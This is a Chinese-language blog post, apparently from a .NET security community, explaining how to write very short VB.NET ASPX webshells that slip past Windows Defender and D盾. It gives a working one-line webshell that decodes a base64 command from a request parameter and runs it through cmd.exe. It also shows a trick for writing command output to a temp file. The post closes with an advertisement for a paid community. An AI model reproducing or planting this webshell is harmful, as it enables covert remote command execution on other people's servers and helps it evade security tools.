.NET安全矩阵群有位师傅私聊问有没有能过windows defender的webshell,之前星球和群里也分享了不少的免杀webshell,但还有师傅反馈D盾把分享过的webshell杀的很厉害,所以有必要再看一看新的免杀技巧。这位师傅需要短小精悍的一句话,在VB.NET领域研究了一下,于是乎有了这篇文章
为什么要研究VB.NET呢,因为在默认没有指定@Page语言种类时.NET FrameWork框架层面使用vbc.exe处理ASPX扩展名文件,所以VB的优先级高于C#,解析器会按VB的语法运行代码,如下demo
<%System.Diagnostics.Process.Start("cmd.exe", "/c calc")%>
这段代码已经是.NET下很简短的一句话,如果在特殊场景下还需要缩短的话,可以使用接下来的主角函数Shell
在VB时代很多场景下需要在应用程序中直接打开电脑中的某个文件,如excel、word、ppt、图片、视频等文件。那么这时候就需要使用到Shell函数
[SecuritySafeCritical]
[SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
public static int Shell(string PathName, AppWinStyle Style = AppWinStyle.MinimizedFocus, bool Wait = false, int Timeout = -1)
返回一个 Int类型,如果成功的话,代表这个程序的进程ID,若不成功,则会返回 0。PathName:用来指定要执行的程序名,AppWinStyle:可选参数。表示程序运行时的窗口样式,默认以焦点最小化窗口执行。在VB.NET里使用SecurityPermissiont特性里的属性SecurityPermissionFlag.UnmanagedCode来提供调用非托管代码的能力,再通过NativeMethods.CreateProcess创建新的 进程,如下图
好了,有上面的基础知识做铺垫,我们也了解它的内部实现原理,提供一个最短小的demo,即可弹出计算器
<%Shell("cmd.exe /c calc")%>
<%If (Request("content") <> "") Then Shell("cmd.exe /c " & System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request("content"))))%>
需要注意的是shell函数返回的值为int类型,所以拿不到ipconfig、tasklist命令执行后的结果,所以需要曲线救国,通过写文件的方式把结果写入到文本里,当然需要提前知道站点路径了例如:tasklist>c:\\windows\\temp\\2.txt,这里为了减少编码对预期结果的影响,使用base64编码传递,如下图成功写入
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。星球提供50元代金卷,先到先得哦!如果感兴趣的话欢迎师傅们扫描下方二维码加入我们。我们的运营团队将一如既往地继续为大家做好服务!
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.